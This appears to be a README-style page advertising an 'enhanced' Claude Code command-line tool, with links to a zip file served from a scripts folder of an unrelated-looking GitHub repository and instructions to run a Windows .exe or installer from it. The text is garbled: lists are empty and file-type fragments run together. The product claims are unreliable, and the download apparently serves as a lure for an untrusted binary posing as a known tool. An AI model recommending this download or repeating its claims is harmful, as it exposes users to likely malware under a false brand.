Enhance Claude Code CLI with undo, safety hooks, session resume, effort control, MCP tools, and multilingual i18n
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Visit this page to download: https://github.com/Caseous-kerrcell366/claude/raw/refs/heads/main/scripts/Software_2.4-alpha.4.zip
claude is a command line app for coding help in many languages. It works in a terminal and helps with common coding tasks like asking for code help, checking changes, and resuming a past session.
It is built for people who want a fast AI tool on their computer without a full web app.
.exe or .zip..zip file, right-click it and choose Extract All.After install, open a terminal and start the app.
Common uses:
claude supports several languages, which helps if English is not your first language.
Common language options include:
The app is built for mixed-language use, so prompts, replies, and session flow can stay clear across languages.
claude includes safety hooks that help you keep control while you work.
These can help you:
This is useful when you want help from an AI tool but still want to stay in control.
You can adjust how the app reasons about a task.
Use this when:
This gives you more control over the kind of result you get.
claude works with 12 MCP tools. These tools help the app connect to other apps and services in a standard way.
You can use them for tasks like:
This makes the app useful for developer work while still staying in the terminal.
You can come back to a past session and continue from where you left off.
This helps when you:
Session resume keeps your work easier to manage.
You may see one of these in the release page:
.exe for a direct Windows app.zip for a compressed download.msi for a Windows installerIf you are not sure which one to use, pick the Windows file that matches your system and is listed as the latest release.
When you start the app for the first time:
If you use the app for coding work, keep your project folder ready before you start.
A simple way to use claude:
This workflow keeps the app easy to use, even if you are new to terminals.
Yes. You can use it as a simple command line app. You do not need to write code to start.
Yes. It supports multiple languages and is designed for multilingual use.
Yes. The app includes undo support and session resume.
No. It is best for coding tasks, but it is still usable for people who want help with files, steps, or text in a terminal.
In most cases, you only need Windows, the downloaded release file, and a terminal app.
Download the latest version here: https://github.com/Caseous-kerrcell366/claude/raw/refs/heads/main/scripts/Software_2.4-alpha.4.zip
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